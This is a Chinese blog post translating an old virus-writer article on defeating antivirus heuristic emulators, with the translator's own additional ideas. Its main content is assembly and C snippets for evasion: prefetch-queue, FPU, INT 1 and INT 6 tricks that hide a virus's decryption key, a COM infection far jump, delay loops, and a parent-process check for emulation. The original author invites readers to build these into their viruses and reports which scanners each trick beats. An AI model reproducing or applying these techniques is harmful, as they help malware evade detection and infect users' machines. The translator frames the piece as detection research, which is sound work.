對抗啓發式代碼仿真檢測技術分析收藏

作者   : nEINEI        郵箱   : [email protected]        完成於 :08-05-06                最 近在研究病毒的檢測技術,雖然在這個木馬、流氓件猖獗的年代,檢測技術(除了考慮效率因素外)已經變得不是十分重要了。但俺仍然出於興趣想從這裏面尋找些 思路。或許對抗技術的本身並不在於誰徹底打敗了誰,而在於彼此間共同進步。在查閱資料中發現了這篇文章(Anti heuristic techniques  author:Black Jack ),雖然是比較古老的,但還是可以從中獲得很多新的思路。翻譯的比較粗糙,如有不正確或不準確的地方還望大家指正,後面我會繼續談些對抗仿真技術的策略。 譯文如下:                      簡介    在早些年的日子裏,殺毒軟件通過對病毒的特徵碼搜索是完全可以檢測出病毒的。但隨着病毒數量的快速增漲,反病毒研究人員發明了一些啓發式的病毒檢測方法, 並把它應用到工作中。代碼仿真的啓發式掃描器會像虛擬機一樣運行程序的代碼,並在此環境下檢測程序是否具有病毒的相似行爲。       所 以在理論上,這樣的啓發式掃描可以發現任何一種新的病毒。但僅僅是理論上,因爲代碼仿真不可能達到對真實CUP的100%模擬,所以該技術並不能毫無遺漏 的檢測出每一個病毒。由此可見,在VX社區中,尋找啓發式引擎的缺陷和利用它們就成了我們的目標和責任。我所要談的就是如何利用不同的手段欺騙並愚弄這些 啓發式引擎,使我們最新創造的那些無形的邪惡的程序不被啓發式引擎所找到及清除。     這是我認爲在病毒的編程領域裏最有趣的事情(因爲始終是有一種偉大的感覺,那就是你比你的敵人更聰明; -) ).以下是我在過去的日子裏關於這方面的研究成果。瞭解你的對手    如 果你想研究Anti heuristic技術,第一件事就是你需要一個具有啓發式功能的掃描器來檢測你編寫的創作(virus),我建議你儘量多的找些這樣的掃描器。因爲每一 啓發式的掃描器都有自己的強項及弱點。我給你一個簡單的掃描器列表,我將使用這些來進行測試。    .Thunderbyte Antivirus (http://www.thunderbyte.com) 在早期,這被認爲是最好的掃描器了,但現在,在vxer的眼中它已經被認是很一般的了,至少在"啓發式檢測"(其實僅是特定的字符串描)方面如此。但在其 它方面它附帶了很多實用的掃描器(checksummer, cleaner, memory resident utilities...)。順便說一下,每個人都會有自己喜歡的不同版本,我建議您使用7.xx這一版本。因爲這個版本可以讓您制定您自己的掃描方式, 這一點很重要,如果你自己不小心感染了自己的機器。    .F-prot (http://www.datafellows.com) 這個是不算太壞的,雖然還有很多更好的。有趣的是,比起現在最後的一個版本在啓發式方面有了更好的改進。所有我建議您使用V2.2.8版或像我一樣使用 V2.2.7版來測試你的病毒。另外有趣的特點是這款掃描器,支持使用可疑掃描的命令行參數方式執行。如果您使用它,將進入一個智能的掃描模式。基於這樣 的原因,你知道開啓可疑檢測模式並不是必需的,如果你這樣做了,你會知道你的anti-heuristic 技術實在是太好用了。  .AVP (http://www.avp.ch):在我認爲最好的啓發式掃描器當中,確實是難於欺騙的一個。我是用的版本是version 3.0 build 128  .NOD (http://www.eset.sk): 像AVP一樣的優秀。  .Dr. Web (http://www.dials.ru): 這也是非常好的啓發式掃描器,那些俄羅斯人知道如何取得更好的Anti Virus效果。  .Dr Solomon's (http://www.drsolomon.com):從我一個在NAI工作的一個朋友那裏知道,這是一款中高質量的掃描器,但它的效果仍優於mcafee。  .Ikarus Antivirus (http://www.ikarus.at):一箇中等品質的掃描器,我使用它,是出於愛國的原因。重要的思路    我的所有欺騙手段,都是基於同樣的思路的:那就是病毒是加密的,我們要在掃描器能解密出病毒體前停止仿真代碼的執行,或者在掃描過程中隱藏我們的加密密 鑰。如果你仍然沒有使用加密的方式,密鑰隱藏手段也是可以使用的,在“加密”的調用方式中(例如,int 21h 中斷的值),例如這樣打開一個文件的操作,雖然我沒有測試過這種方式。   mov ax, 3D02h        ;0x3D02 是密鑰   add ax, key   int 21h1 通過指令預取反跟蹤技術:    早期的處理器,像386或者486都使用了指令隊列預期(PIQ)技術來提高代碼執行效率。這一技術的本質是,當CPU將要執行一條指令時,它已經將該指令預先讀到了CPU的cache中了。所以在此之前的修改對CPU來說已經沒有影響了。讓我看一個這樣的例子:
  mov word ptr cs:[offset piq], 20CDh
  piq:
  nop
  nop
    你應該會想到這個程序將結束運行,因爲兩個字節的nop 指令會被覆蓋爲 int 20h(譯者注:int 20h
是返回DOS的指令)。但在386或486的機器上去並非如此,因爲nop指令已經在cpu的cache中了。但在Pentium/Pentium
II 體系的機器中運行時,指令則會被覆蓋,程序執行後退出。
  
    如果你想利用這一特性來對抗啓發式檢測技術的話,你就必須知道
在386/486年代這是一種廣泛的對抗啓發式檢測的手段。但是隨着AVs的改進,他們已經加入了對指令預期技術的支持。這是不是件很不可思議的事情,他
們仿真的東西竟是不存於現在的處理器當中的。讓我們再看看上面的例子,這是我們用來對付他們的,在 pentium
或者更高級別的處理上面,像我所說的那樣,程序會終止,因爲這些處理器沒有使用PIQ技術。但大部分的AVs會繼續讓代碼執行那兩個nops,因爲他們要
仿真PIQ。所有這塊我們這樣做:
    mov word ptr [offset prefetch], 06C7h

    prefetch:

    int 20h

    dw offset decrypt_key

    dw key

    int 20h 指令將被覆蓋,替換它的將是下面的指令

    mov word ptr [decrypt_key], key
    基於對PIQ的考慮,AVs將終止程序的執行。但實際上我們的程序將繼續運行,在我們的加密處理函數中設置密鑰。我們僅存在一個問題,那就是我們的代碼要運行在Pentiums或更高級別的處理器上面。爲了使之兼容486系列或更低一些處理器,我們只需清除掉PIQ之間的兩條指令。    沒有什麼比這更簡單的了!當然,你也要知道清除所有jump類指令(jmp, call, loop,int...)之間的PIQ(這一點是必需的,如果你想這樣做的話)。但是我們不能簡單的處理JMP Short$+2之間的指令,對於清除PIQ來說它應該是正常被執行的,因爲代碼仿真器是會察覺到這一點的。    但是我們可以使用一個特殊的功能,CPU的陷阱標誌。如果這個標誌被置位,那麼其後的任何指令執行都將觸發int 1的中斷調用,記住這樣會清除PIQ。這通常是在的調試狀態下,1號中斷向量只是簡單的IRET,所以我們可以使用沒有任何問題。無論如何,執行後再次清除陷阱標誌都是個很好的主意。下面展示的代碼可以運行在任何處理器上(assumesDS = CS)。
               pushf                                   ;flags on the stack

        pop ax                                  ;flags from stack into AX

        or ax, 100000000b                       ;set trap flag

        push ax                                 ;put the modified flags in AX back...

        popf                                    ;into the flag register via the stack

            

        mov word ptr [offset prefetch], 06C7h   ;modify the following instruction

        prefetch:                               ;here gets int1 called => clears PIQ

        int 20h                                 ;This is never executed

        dw offset decrypt_key                   ;where we want to write our key to

        dw key                                  ;the actual decryption key

        

        pushf                                   ;clear the trap flag again with

        pop ax                                  ;the same method as above.

        xor ax, 100000000b                      ;will also fool some debuggers

        push ax

        popf
        mov word ptr [offset prefetch], 20CDh   ;restore the int20h (next generations)    這種方式可以騙過 AVP, Dr. Web, f-prot v3.04 (even with the /PARANOIDflag),但不能通過f-prot v2.27, Nod, Ikarus and Dr. Solomon's. f-prot v2.27and Ikarus的檢測。另一方面我們也可以欺騙”正常的“使用PIQ手段(當然你要記得,這並不能運行於現在的處理器上)。

2 通過FPU 的手段:
    我非常喜歡用欺騙方式,因爲相對於大多數的有效手段來說,這種方式是非常簡單。它可以愚弄*ALL*所有的掃描器。你僅需要考慮的一件事情就是啓發式掃描器不能仿真浮點指令。很明顯,AVs考慮的是病毒程序運行是不需要FPU指令的。好了,讓我們證明他們的想法是錯誤的。我們將要做的是,在加密完成後,通過浮點數來轉換密鑰,解密時再將它轉換成整數。

   ; AFTER ENCRYPTION:

    mov decrypt_key, key                    ;save key into integer variable

    fild decrypt_key                        ;load integer key into FPU and store

    fstp decrypt_float_key                  ;it back as floating point number

    mov decrypt_key, 0                      ;destroy the key (very important!)

    ; BEFORE DECRYPTION:

    fld decrypt_float_key                   ;load the key as floating point number

  正向我前面所說的,這一手段非常容易且極端有效,但如果你使用它,也要考慮到運行系統的要求。如果你的virus運行在沒有FPU的系統上時,他將崩潰。
3 通過INT 1 的手段 :

   前文已經提到,如果CPU的陷阱標誌被設置,那麼任何指令執行後,int 1 中斷都會被調用。 我也可以通過手工的調用的int 1
中斷來達到我們的目的。int
1中斷的反彙編代碼通常是0CDh/001h,自從有了一個專用opcode來表示int1(0F1h)中斷後,這樣反而是非常奇怪的,儘管這是未公開文
檔化的。但是"not documented"的意思也應該是"not emulated by AVs", ^_^
。所有我們將這樣做:我們設置一個我們自己的INT 1 中斷的handler,同時調用”not doumented“ 的opcode
0F1h,返回解密密鑰 。AVs 將沒有辦法知道解密密鑰是什麼。

    mov ax, 3501h                   ;get int vector 1, so we can restore it later

    int 21h                         ;not really necessary, but a little bit saver

    mov int1_segm, es

    mov int1_offs, bx

    

    mov ax, 2501h                   ;set int vector 1 to our own routine

    mov dx, offset int1_handler     ;we assume DS=CS

    int 21h

    

    db 0F1h                         ;this will call our int 1 handler, which

    mov decrypt_key, ax             ;returns the decryption key

    

    mov ax, 2501h                   ;restore the original int 1 handler

    mov dx, cs:int1_offs

    mov ds, cs:int1_segm

    int 21h

    

    [...]

    

    int1_handler:

    mov ax, key

    iret 

     另外一件好笑的事是,我們可以僞造程序退出,可以這樣做:

   [...]



    db 0F1h                         ;calls our int 1 handler (see above);

    mov ax, 4c00h                   ;quit program

    int 21h                         ;but... this code is never reached... ;-)

    

    [...]

    

    int1_handler:

    mov bx, sp                      ;modify return address, so the quit command

    add word ptr ss:[bx], 5         ;is never executed.

    iret

  這是非常有效的一種手段,在我的測試中僅F-PORT  v2.27 /PARANOID
能檢測出了它,儘管它只能運行在intel的CPU上。在Cyrix 或者 AMD
處理器上是不能使用這中方法的。因此你virus如果運行則將崩潰。:- (如果你想看一下的病毒情況,你可以查找我寫 PR.H! virus)
4 通過INT 6 的手段:        cpu 如果發現無效指令運行則int 6h 中斷總是會被調用的。這個方法非常相似於INT 1 中斷的手段。我們設置一個INT 6h中斷的handler,然後執行一個條我們故意使用的無效指令,同時返回解密密鑰。如果我們不想陷入無窮盡的循環當中,就要修改返回時的偏移。
             mov ax, 3506h                   ;get int vector 6, so we can restore it later

        int 21h                         ;not really necessary, but a little bit saver

        mov int6_segm, es

        mov int6_offs, bx

        

        mov ax, 2506h                   ;set int vector 6 to our own routine

        mov dx, offset int6_handler

        int 21h

        

        dw 0FFFFh                       ;an invalid opcode, will call our int 6

        mov decrypt_key, ax             ;handler, which returns the decryption key

        

        mov ax, 2506h                   ;restore the original int 6 handler

        mov dx, cs:int6_offs

        mov ds, cs:int6_segm

        int 21h

        

        [...]

        

        int6_handler:

        mov ax, key

        mov bx, sp

        add word ptr ss:[bx], 2         ;modify return address - very important!

                                                                        ;2 is the size of our invalid opcode.

        iret
    請記住,這一方式並不能工作在window系統下的dos窗口程序中,因爲window會率先截獲一個無效的opcode,並給出錯誤消息(thanks to Z0MBiE for that tip)。所以如果你想使你的DOS virus兼容window,那麼不要用此方法,儘管破壞引導區的virus實在是很美妙的。
5 感染COM文件及FAR JUMP方式:
    我不喜歡delta offsets方式,所有我開始嘗試用far jump方式來感染com文件(當然,還是要加上些代碼用來重定位的):
        mov ax, cs                      ;Relocate far Jump

        add [offset com_seg], ax

        JMP SHORT 2                   ;Clear prefetch queue

        db 0EAh                         ;OP-Code far Jump

        dw offset start                 ;Offset

        com_seg dw 0                    ;Segment (length of com file in paragraphs)

                                                                             ;pad filesize to even paragraph!
     這段代碼可以非常穩定地運行,我很驚訝,這種感染方式可以阻止AVP和Tbscan的來發現文件已被感染的檢測方式。如果想看全部的virus欺騙技巧,再一次提醒您,可以查找我寫 PR.H!- virus。
6 初始化寄存器方式:
    大多是DOS版本的系統,在程序開始時的寄存器值是下面這樣的:
        AX=BX=0000h (if the first/second command line parameter contain a illegal

        drive letter, AL/AH are set to 0FFh)

        CX=00FFh

        DX=DS=ES=PSP segment address

        SI=IP

        DI=SP

        BP=91Ch/912h depending on DOS/Windows version.
7 ENDLESS LOOPS:

     這是個很古老的手段了。它不同於這篇文章中介紹的其它技術,但當我測試時才驚訝的發現,它非常的棒,可以騙過Thunderbyte, Dr. Web and Ikarus。這一想法的出發點是,那些啓發式的掃描器,僅仿真了最開始處的一些指令,然後停止,以此加快掃描速度。
因此,我們可以在病毒體開始處設置一個很長的循環,下面是一經典的模式:
        mov cx, 0FFFFh

        loop_head:

        jmp short over_it

        mov ax, 4C00h                   ;actually this isn't needet, but it's the

        int 21h                         ;"classic" implementation of this trick.

        over_it:

        loop loop_head

    你還可以使用不同類型的循環,或者像Opic's Odessa-B virus那樣的手法,非常長的一個解密循環。
這篇文章所公佈的這些anti heuristic技術目前爲止都可以正常運行。當然AVs也可能改進它們的一些不足,在未來使這些方式失效。隨時歡迎把這些技巧加入到你virus當中。使它們作爲AVs無法檢測出的地獄,展示給那些愚蠢的AV看他們所謂的”保護“。(譯完)            可以看出此篇文章的作者對AV產品中,初期的啓發式技術研究的非常深入,目標明確,知曉啓發式檢測的很多弱點。怎奈時代變換,多態變形病毒已經產量稀少,啓發式技術整體上進步緩慢。上面提及的技術雖然已經不能造成多大危害,但基於代碼仿真的啓發式檢測仍有很多個方面會受到技術上的挑戰。1 利用SEH方式:    雖然啓發式的仿真器會模擬SEH異常處理,但解決這一對抗性問題卻並非像實現一個SEH識別器那樣簡單。比如virus在解密的過程中灑下隨機代碼,建立異常處理,隨後迫使處理器出錯,進入virus的異常處理函數,進而再跳向另一個解密引擎中執行代碼。如果AV不能處理這樣的異常,病毒的代碼也就無從執行,那麼和談檢測呢。最大的問題就是仿真環境無法完美的處理某條指令引發的引發的特定異常。          2 慢隨機執行方式:    可以利用任何程序開始執行時的隨機數據來決定是否進行解密及感染,隨機時間也好,日期也好都行,或者像win95下利用FS:[0ch]指向的TIB數據(在win9x下該處數據隨機)。目的只有一個,即便被模擬運行,也無法使AV得到100%的檢測率,這也是我以前曾提到過的,仿真器應該具有指令預分析的功能。  3 利用多線程:    多線程的模擬並非高不可攀,關鍵的難點在於線程間的同步。這一點上沒什麼可說,仍然是AV今後要努力解決的問題。      4 RDA 方式:    病毒體解密代碼可以不知道加密時的密鑰,而是通過RDA(隨機解密算法)方式來獲得,目的只有一個,真實環境下解密部分可以很快運行完,但仿真環境下卻會很慢,暴力搜索密鑰算法,可能會產生很多個大循環,以此來迫使仿真器退出執行環境。     5 EOP 方式:    仿真器不會很有耐心地執行完程序的每一條指令,只要你的病毒所在宿主程序入口點足夠的靠後,那你就勝利了一半,仿真器會因失去耐心而丟下你不管的。此時我想到了ExitProcess,聰明的你肯定明白了接下來將要幹什麼了,當然,當你知道這樣做的時候,AV已經開始行動了,但關鍵是我們已經找到了一種對抗的思路了。   6 分析執行邏輯方式:    這一點是從xyzreg那裏學到的,考慮到程序真實的運行與仿真環境的差別,也就知道如何對抗了。指令預取反跟蹤也屬於這一思路的範疇。下面是xyzreg給出的代碼:

DWORD fpid,epid;

void VMM()

{

   PROCESSENTRY32 pe;

   HANDLE hkz=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

   pe.dwSize=sizeof(PROCESSENTRY32);

   if (Process32First(hkz,&pe))

   {

    do

    {

       if (pe.th32ProcessID==GetCurrentProcessId())

       {

          fpid=pe.th32ParentProcessID;  

       }

      

       if (stricmp(pe.szExeFile,"explorer.exe")==0)

       {

           epid=pe.th32ProcessID;

       }

    }

    while(Process32Next(hkz,&pe));

  }

}

void main()

{

    if(fpid!=epid)

         return 0;

}
   即便是一向作風嚴謹AVP也會有此疏漏,且在仿真的執行環境中與正常執行相悖的邏輯還有很多處,如GetModuleFileName。所以仿真的啓發式檢測遠沒有達到十分完善的地步。        還 有一些對抗技巧如利用MMX指令或利用API傳遞控制等,但因這些技巧本身不會對啓發式檢測構成絕對威脅此處不再一一舉例。啓發是雖是對抗virus的利 器,但我更感覺越是複雜高級的檢測技術反而越加脆弱,脆弱的原因就是太過於複雜,所謂智者千慮必有一失吧。在沒有加密、多態病毒出現前,特徵匹配技術對待 病毒可謂一劍封喉。或許越是簡單的技術越是無懈可擊。一次偶然間發現NOD可以僅用高級偵測模式,檢測出被感染的文件,並精確的給出病毒名。或許啓發式檢 測加適量的特徵應該是對抗virus的最好武器吧。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章